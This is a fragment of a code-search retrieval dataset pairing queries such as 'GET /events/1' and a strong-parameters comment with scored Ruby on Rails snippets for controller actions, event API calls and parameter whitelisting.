"score": "0.5453028",
"text": "def filter_hits(hits,end_pos)\n # hits.reverse_each do |hit|\n # # if (hit.q_end < (end_pos-40)) && ((hit.q_end-hit.q_beg+1)<(@params.get_sanger_adapter(hit.subject_id).length*0.80).to_i)\n # if ((hit.q_end-hit.q_beg+1)<(@params.get_sanger_adapter(hit.subject_id).length*0.80).to_i)\n # hits.delete(hit)\n # end\n # end\n \n end",
"title": ""
},
{
"docid": "e16a9add411684ed1506afedf000a564",
"score": "0.5450742",
"text": "def destroy\n @target_age_range.destroy\n respond_to do |format|\n format.html { redirect_to target_age_ranges_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "badc867fe5e10edcd2071ae704b463ee",
"score": "0.54454273",
"text": "def zremrangebyscore(key, min, max)\n\t\t\t\t\tcall(\"ZREMRANGEBYSCORE\", key, min, max)\n\t\t\t\tend",
"title": ""
},
{
"docid": "4fa6c53987ab5ad4ccae589663d02d84",
"score": "0.5445007",
"text": "def enforce_document_limit\n Document.recently_read.last.destroy if Document.count > MAX_DOCUMENTS_LIMIT\n end",
"title": ""
},
{
"docid": "caaaed97c972ba8492ae72ecc7996788",
"score": "0.5441823",
"text": "def destroy\n @limit = Limit.find(params[:id])\n @limit.destroy\n\n respond_to do |format|\n format.html { redirect_to limits_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "e739d73cd22c9e88bea9e222992e347e",
"score": "0.5438261",
"text": "def clear(range_start = nil, range_end = nil, status: nil)\n raise ArgumentError, \"#{status} is not a valid status\" unless status.nil? || STATUSES.include?(status)\n\n get_status_ids(range_start, range_end).count do |job_id|\n # no status filtering\n\n next remove(job_id) if status.nil?\n\n status_data = get(job_id)\n\n # status removed (by ttl) so clean up known and kill sets\n next remove(job_id) if status_data.nil?\n\n # or if status matches filter\n next remove(job_id) if status_data.status == status\n\n next false\n end\n end",
"title": ""
}
] |
c70fffdf12d341bcf1b29d000c3702df | GET /events/1 GET /events/1.json | [
{
"docid": "a81945373733e4951b987de6ea99f9a1",
"score": "0.0",
"text": "def show\n end",
"title": ""
}
] | [
{
"docid": "aa321cb61c328d7641f0ffee4f6e0b70",
"score": "0.75029767",
"text": "def show\n @event = Event.find(params[:id])\n render json: @event\n end",
"title": ""
},
{
"docid": "64b8f8ad44f7b6e6250a9fc54b79647c",
"score": "0.74019474",
"text": "def get(event_id)\n @client.request \"events/#{event_id}\"\n end",
"title": ""
},
{
"docid": "7ea2f3391994b9f86e40689a351e606f",
"score": "0.7361382",
"text": "def show\n event_id = params[:id]\n if event_id.present?\n @event = Com::Nbos::Events::Event.active_events.where(id: event_id, tenant_id: @user.tenant_id)\n if @event.present?\n render :json => @event\n else\n render :json => {messageCode: \"event.notfound\", message: \"Event Not Found\"}, status: 404\n end\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "64993e34378a276f8adcb75e4c244500",
"score": "0.7348975",
"text": "def get_events()\n @client.make_request(:get, @client.concat_user_path(\"#{CALL_PATH}/#{id}/events\"))[0]\n end",
"title": ""
},
{
"docid": "5febda362ddaf472b8c6c6319cecc36f",
"score": "0.73475033",
"text": "def events\n response = self.class.get('/v1/events.json')\n response.code == 200 ? JSON.parse(response.body) : nil\n end",
"title": ""
},
{
"docid": "68ed11088389be43b322d4f0dc75f7d6",
"score": "0.7338018",
"text": "def index\n #returns all events from eventbrite API, need to change to pull from her endpoint\n @eventList = Event.retrieve_all_events params\n render json: @eventList, status: 200\n end",
"title": ""
},
{
"docid": "2bdaa9476f459d05fdb7080f25fe0657",
"score": "0.7317425",
"text": "def index\n @events = Event.all\n render json: @events, status: 200\n end",
"title": ""
},
{
"docid": "503c52c8507e6cd5116f3c85d6259631",
"score": "0.72875094",
"text": "def index\n @event = Event.all\n render json: @event\n end",
"title": ""
},
{
"docid": "cadb01f018a744e64738122bd3b9e9a6",
"score": "0.72813755",
"text": "def index\n @events = Event.find(:all)\n respond_to do |format|\n format.html\n format.json\n end\n end",
"title": ""
},
{
"docid": "3963988a2e369ae69d3e2e5e5e64680b",
"score": "0.7246173",
"text": "def index\n respond_to do |format|\n format.html\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "6dfa825090a0345739db26145778532e",
"score": "0.72317284",
"text": "def get_events\n Resources::Event.parse(request(:get, \"Events\"))\n end",
"title": ""
},
{
"docid": "a069e984b7364b889a975fb865b92e2e",
"score": "0.7219172",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "a069e984b7364b889a975fb865b92e2e",
"score": "0.7219172",
"text": "def show\n @event = Event.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "f49e5c498dd19a73abbea8842b47d303",
"score": "0.7218839",
"text": "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "f49e5c498dd19a73abbea8842b47d303",
"score": "0.7218839",
"text": "def index\n @events = Event.live\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "ac497f0b2547d185cde2324c46c8d7ee",
"score": "0.721464",
"text": "def details\n get(\"v1/event/#{@id}\")\n end",
"title": ""
},
{
"docid": "66cec9200352931dc624c60aa268ea93",
"score": "0.7204848",
"text": "def index\n @events = Event.all\n render json: @events\n end",
"title": ""
},
{
"docid": "acae2adc8dfe263a567c53eb56360d88",
"score": "0.71989256",
"text": "def show\n\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "e231dd9cb81b650e9ce6b8a7848baf7f",
"score": "0.7196662",
"text": "def show\n @myevent = Myevent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @myevent }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.71925515",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "b55800920566b8d1705156e86e9a3d26",
"score": "0.7192214",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "53f03fe240698fa4821da04fd48001bd",
"score": "0.7190171",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "66d5c6cb4c349ed9046c5af8da477cc5",
"score": "0.7189989",
"text": "def show\n @event_event = Event::Event.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event_event }\n end\n end",
"title": ""
},
{
"docid": "30abc7ae4ca20aae4e8b4cf39f0e15d7",
"score": "0.71858066",
"text": "def index\n event = Event.find(params[:event_id])\n render json: event.route, status: :ok\n end",
"title": ""
},
{
"docid": "831625ad3437c99223738a7273964a0e",
"score": "0.71843475",
"text": "def index\n @events = Event.all\n\n render json: @events\n end",
"title": ""
},
{
"docid": "5dc63496ec6579ff32c5e1b7834621ba",
"score": "0.71817815",
"text": "def show\n render json: @event, status: :ok\n end",
"title": ""
},
{
"docid": "0b7c3e89c4b68b06c2b05ee624907497",
"score": "0.7178166",
"text": "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json do\n render :json => {events: @events}\n end\n end\n end",
"title": ""
},
{
"docid": "039d907486dd3765ff7f603f4c7f5b8a",
"score": "0.716525",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "02c59efd4b6fa83ff3da6d18c0a1c8ef",
"score": "0.71637964",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event } \n end\n end",
"title": ""
},
{
"docid": "9fd0f47e8d6f6e1b84073d8ea0206aaf",
"score": "0.7158998",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "9fd0f47e8d6f6e1b84073d8ea0206aaf",
"score": "0.71580267",
"text": "def show\n @event = Event.find(params[:id])\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @event }\n end\n end",
"title": ""
},
{
"docid": "7d4e016f658d1ada57b50906680c9360",
"score": "0.7120116",
"text": "def show\n render json: @event\n end",
"title": ""
},
{
"docid": "7d4e016f658d1ada57b50906680c9360",
"score": "0.7120116",
"text": "def show\n render json: @event\n end",
"title": ""
},
{
"docid": "7d4e016f658d1ada57b50906680c9360",
"score": "0.7120116",
"text": "def show\n render json: @event\n end",
"title": ""
},
{
"docid": "7d4e016f658d1ada57b50906680c9360",
"score": "0.7120116",
"text": "def show\n render json: @event\n end",
"title": ""
},
{
"docid": "7d4e016f658d1ada57b50906680c9360",
"score": "0.7120116",
"text": "def show\n render json: @event\n end",
"title": ""
},
{
"docid": "4f5d0e118792c84c74dcb9beec4eddfb",
"score": "0.7104676",
"text": "def index\n @events = Event.all\n respond_to do |format|\n format.html \n format.json \n end\n end",
"title": ""
},
{
"docid": "f6f4af65302278ae936c507fc7d363d4",
"score": "0.7098543",
"text": "def show\n render json: EventSerializer.new(@event).as_json, status: 200\n end",
"title": ""
},
{
"docid": "9a92fb4eeb25a829b330537e6b7df70b",
"score": "0.70866513",
"text": "def event(event, options = {})\n get \"events/#{event}\", options\n end",
"title": ""
},
{
"docid": "89f1661868d77cc9f743b39a8863b415",
"score": "0.7075021",
"text": "def index\n response = { events: Event.all }\n respond_to do |format|\n format.json { render json: response.to_json }\n format.html { render :index }\n end\n end",
"title": ""
},
{
"docid": "560d74a779cccf860b46fa2caa9c6234",
"score": "0.7071629",
"text": "def index\n render json: Event.all, status: :ok\n end",
"title": ""
},
{
"docid": "356491f9a7223dbc58effe14eece54f9",
"score": "0.70692325",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "356491f9a7223dbc58effe14eece54f9",
"score": "0.70692325",
"text": "def show\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "f2444e288c75eb695c3ab473656d0458",
"score": "0.7067004",
"text": "def index\n @events = current_user.events\n\n render json: @events\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "3c4e170782dc6c5c9532137bcdcd1d62",
"score": "0.70606047",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "2a4065c60615aa5c5b80c230b071c0f1",
"score": "0.7050251",
"text": "def event(id, options = {})\n get \"events/#{id}\", options\n end",
"title": ""
},
{
"docid": "d44a8e838669941717329a06bf82a09d",
"score": "0.7043129",
"text": "def index\n @events = Event.all\n @event = Event.new\n\n respond_to do |format|\n format.html\n format.json { render 'events/index', events: @events }\n end\n end",
"title": ""
},
{
"docid": "5ec7da7697cadc81f4b64a191bb45900",
"score": "0.70385677",
"text": "def show\n @event = Event.find(params[:id])\n @client = Client.find(@event.client_id)\n @event_type = EventType.find(@event.event_type_id)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end",
"title": ""
},
{
"docid": "c920f694973b8f492fc9196243d7dfa2",
"score": "0.70330113",
"text": "def index\n @events = Event.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @events }\n end\n end",
"title": ""
},
{
"docid": "6f8bb0d26e9d5c9f722d69903c5b6d1a",
"score": "0.7027942",
"text": "def get_event ( event_key )\n get_api_resource \"#{@@api_base_url}event/#{event_key}\"\n end",
"title": ""
},
{
"docid": "04b1a5a70f53f056cdc67f164f9201dd",
"score": "0.7025206",
"text": "def get_events(args)\n\tapi_url = \"#{@base_url}/#{args[:collection]}/#{args[:key]}/events/#{args[:event_type]}\"\n\tdo_the_get_call( url: api_url, user: @user )\nend",
"title": ""
},
{
"docid": "c85abde336dba7a685d43b96531521e6",
"score": "0.70196456",
"text": "def index\n @event = Event.find(params[:event_id])\n\n end",
"title": ""
},
{
"docid": "1a86abd79b9765670265c58570ed0907",
"score": "0.6993209",
"text": "def index\n @upcoming_events = Event.upcoming\n @past_events = Event.past\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "27c00ad1ec65511d53558267fff54314",
"score": "0.69843143",
"text": "def show\n \trender json: @event\n end",
"title": ""
},
{
"docid": "b915baf4a044fba3e32a2d99c59dda88",
"score": "0.69733816",
"text": "def index\n @events = current_user.events\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "5f8829616313ba2e255ab6b5ea3f792c",
"score": "0.69682246",
"text": "def index\n @events = getUpcomingEvents()\n \n @page_title = \"Events\"\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @events }\n end\n end",
"title": ""
},
{
"docid": "c23c8b7fbd2763578fdc166b9f4489e1",
"score": "0.69497913",
"text": "def index\n respond_with(@events)\n end",
"title": ""
},
{
"docid": "855048cc3c10fd4a5d397620f19a6cda",
"score": "0.6949218",
"text": "def show\n render json: format_event(@event)\n end",
"title": ""
},
{
"docid": "0943b149b3ddd06aa72cfb9d3ff1c739",
"score": "0.6943893",
"text": "def show\n @current_event = CurrentEvent.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @current_event }\n end\n end",
"title": ""
},
{
"docid": "e89ff72b149e65373b234956aff7b2fc",
"score": "0.6929541",
"text": "def get_events\n if @user.uuid.present?\n @events = @user.events.active_events.page(params[:page])\n paginate json: @events, per_page: params[:per_page]\n elsif @user.uuid == \"guest\"\n @events = Com::Nbos::Events::Event.active_events.where(tenant_id: @user.tenant_id)\n render json: @events\n else\n render :json => {messageCode: \"bad.request\", message: \"Bad Request\"}, status: 400\n end\n end",
"title": ""
},
{
"docid": "deb3768202f23a0009ca6409d1b5da2b",
"score": "0.69259447",
"text": "def show\n begin\n @event = Event.find(params[:id])\n rescue ActiveRecord::RecordNotFound\n logger.error \"Attempt to show invalid event #{params[:id]}\"\n redirect_to events_path, notice: 'Invalid event ID'\n else\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @event }\n end\n end\n end",
"title": ""
},
{
"docid": "69da1f3e3a70a7f027d1ccd90e818785",
"score": "0.6922537",
"text": "def index\n @events = @category.events\n render json: @events \n end",
"title": ""
},
{
"docid": "2a3ec900bb55481d6c47bec1ede33bbc",
"score": "0.69194067",
"text": "def index\n\t\t@events = Event.all.order('created_at desc')\n\n\t\trespond_to do |format|\n\t\t\tformat.html\n\t\t\tformat.json { render :json => @events }\n\t\tend\n\tend",
"title": ""
},
{
"docid": "2af3244b949e0148538956aee5580e4a",
"score": "0.6912311",
"text": "def show\n @event = Event.find(params[:id])\n\n respond_to do |format|\n format.json { render json: @event, methods: [:talks] }\n end\n end",
"title": ""
},
{
"docid": "afcc16aeb5231c628466106dadff7854",
"score": "0.6893206",
"text": "def get_events\n response = request(:get, \"/devmgr/v2/events\")\n #status(response, 200, 'Failed to get current events from server')\n #JSON.parse(response.body)\n response\n end",
"title": ""
},
{
"docid": "601f96ad37e1890a4d15eaca7e6e76d6",
"score": "0.689077",
"text": "def index\n if params[:user]\n @events = Event.where(user: params[:user]).first\n else\n @events = Event.all.order('created_at asc')\n end\n\n render json: @events, :only => [:id, :date, :user, :event_type, :message, :otheruser]\n end",
"title": ""
},
{
"docid": "8f86c1c2d3110226e2c3d57c46e03196",
"score": "0.687633",
"text": "def get_event(session, options={})\n json_request \"get\", {:session => session}, options\n end",
"title": ""
},
{
"docid": "f6c242ab68f50d06b5cdb469ad87ef85",
"score": "0.6853893",
"text": "def index\n \n @events = current_user.events\n \n \n respond_to do |format|\n format.html {}\n format.json { render json: Event.events_to_json(@events) }\n end\n end",
"title": ""
},
{
"docid": "68045e6c48582b2d4c53f672b1292914",
"score": "0.6851784",
"text": "def show\n @calendar = Calendar.find(params[:id])\n @events = Event.find(@calendar.event_ids)\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @calendar }\n end\n end",
"title": ""
}
] |
c657de4b70d266e9a3a784b999ea9e60 | Never trust parameters from the scary internet, only allow the white list through. | [
{
"docid": "51fe33621f962c1a30227a061fde5a9d",
"score": "0.0",
"text": "def question_params\n params.require(:question).permit(:content, :answer)\n end",
"title": ""
}
] | [
{
"docid": "3663f9efd3f3bbf73f4830949ab0522b",
"score": "0.74959",
"text": "def whitelisted_params\n super\n end",
"title": ""
},
{
"docid": "13a61145b00345517e33319a34f7d385",
"score": "0.6957448",
"text": "def strong_params\n params.require(:request).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "c72da3a0192ce226285be9c2a583d24a",
"score": "0.69232017",
"text": "def strong_params\n params.require(:post).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "3d346c1d1b79565bee6df41a22a6f28d",
"score": "0.6894128",
"text": "def strong_params\n params.require(:resource).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "aa06a193f057b6be7c0713a5bd30d5fb",
"score": "0.67854404",
"text": "def strong_params\n params.require(:listing).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "f6060519cb0c56a439976f0c978690db",
"score": "0.67449695",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "fad8fcf4e70bf3589fbcbd40db4df5e2",
"score": "0.6683308",
"text": "def allowed_params\n # Only this one attribute will be allowed, no hacking\n params.require(:user).permit(:username)\n end",
"title": ""
},
{
"docid": "b453d9a67af21a3c28a62e1848094a41",
"score": "0.6637557",
"text": "def strong_params\n params.require(:kpi).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "2c8e2be272a55477bfc4c0dfc6baa7a7",
"score": "0.662948",
"text": "def strong_params\n params.require(:community_member).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "1685d76d665d2c26af736aa987ac8b51",
"score": "0.662788",
"text": "def permitted_params\n params.permit!\n end",
"title": ""
},
{
"docid": "77f5795d1b9e0d0cbd4ea67d02b5ab7f",
"score": "0.65641665",
"text": "def safe_params\n params.except(:host, :port, :protocol).permit!\n end",
"title": ""
},
{
"docid": "cc1542a4be8f3ca5dc359c2eb3fb7d18",
"score": "0.649092",
"text": "def strong_params\n params.require(:message).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "e291b3969196368dd4f7080a354ebb08",
"score": "0.64797956",
"text": "def permitir_parametros\n \t\tparams.permit!\n \tend",
"title": ""
},
{
"docid": "2d2af8e22689ac0c0408bf4cb340d8c8",
"score": "0.64552915",
"text": "def allowed_params\n params.require(:user).permit(:name, :email)\n end",
"title": ""
},
{
"docid": "236e1766ee20eef4883ed724b83e4176",
"score": "0.6400582",
"text": "def param_whitelist\n [\n :name,\n :tagline, :contact, :summary, :stage,\n :website, :facebook, :twitter, :linkedin, :github,\n :founded_at,\n community_ids: [],\n sectors: [\n :commercial,\n :social,\n :research\n ],\n privacy: [\n contact: [],\n kpis: []\n ],\n permission: [\n listings: [],\n profile: [],\n posts: [],\n kpis: []\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n end",
"title": ""
},
{
"docid": "b29cf4bc4a27d4b199de5b6034f9f8a0",
"score": "0.63838357",
"text": "def safe_params\n params\n .require( self.class.model_class.name.underscore.to_sym )\n .permit( self.class.params_list )\n end",
"title": ""
},
{
"docid": "bfb292096090145a067e31d8fef10853",
"score": "0.6364724",
"text": "def param_whitelist\n whitelist = [\n :title, :description, :skills,\n :positions, :category, :salary_period,\n :started_at, :finished_at,\n :deadline,\n :salary_min, :salary_max, :hours,\n :equity_min, :equity_max,\n :privacy,\n :owner_id, :owner_type,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:owner_id)\n whitelist.delete(:owner_type)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "6bf3ed161b62498559a064aea569250a",
"score": "0.63412917",
"text": "def require_params\n return nil\n end",
"title": ""
},
{
"docid": "b4c9587164188c64f14b71403f80ca7c",
"score": "0.6337844",
"text": "def sanitize_params!\n request.sanitize_params!\n end",
"title": ""
},
{
"docid": "b63e6e97815a8745ab85cd8f7dd5b4fb",
"score": "0.6326744",
"text": "def excluded_from_filter_parameters; end",
"title": ""
},
{
"docid": "38bec0546a7e4cbf4c337edbee67d769",
"score": "0.6322144",
"text": "def user_params\n # Returns a sanitized hash of the params with nothing extra\n params.permit(:name, :email, :img_url, :password)\n end",
"title": ""
},
{
"docid": "5ec018b4a193bf3bf8902c9419279607",
"score": "0.63172126",
"text": "def user_params # contains strong parameters\n params.require(:user).permit(:name, :email, :password,\n :password_confirmation)\n # strong parameters disallows any post information that is not permitted (admin security) when signing_up\n # so not all users will get admin access by hacking params using curl\n end",
"title": ""
},
{
"docid": "37d1c971f6495de3cdd63a3ef049674e",
"score": "0.6315604",
"text": "def param_whitelist\n whitelist = [\n :name,\n :overview,\n :website, :facebook, :twitter,\n :privacy,\n :avatar_id, :community_id, :category_ids,\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n unless action_name === 'create'\n whitelist.delete(:community_id)\n end\n \n whitelist\n end",
"title": ""
},
{
"docid": "91bfe6d464d263aa01e776f24583d1d9",
"score": "0.6308472",
"text": "def permitir_parametros\n params.permit!\n end",
"title": ""
},
{
"docid": "e012d7306b402a37012f98bfd4ffdb10",
"score": "0.63023496",
"text": "def strong_params\n params.require(:team).permit(param_whitelist)\n end",
"title": ""
},
{
"docid": "157e773497f78353899720ad034a906a",
"score": "0.62986314",
"text": "def white_list_params\n params.require(:white_list).permit(:ip, :comment)\n end",
"title": ""
},
{
"docid": "8c384af787342792f0efc7911c3b2469",
"score": "0.6296104",
"text": "def whitelisted_vegetable_params\n params.require(:vegetable).permit(:name, :color, :rating, :latin_name)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.629288",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
"title": ""
},
{
"docid": "0f69d0204a0c9a5e4a336cbb3dccbb2c",
"score": "0.629288",
"text": "def allowed_params\n params.permit(:campaign_id,:marketer_id,:creator_id,:status)\n end",
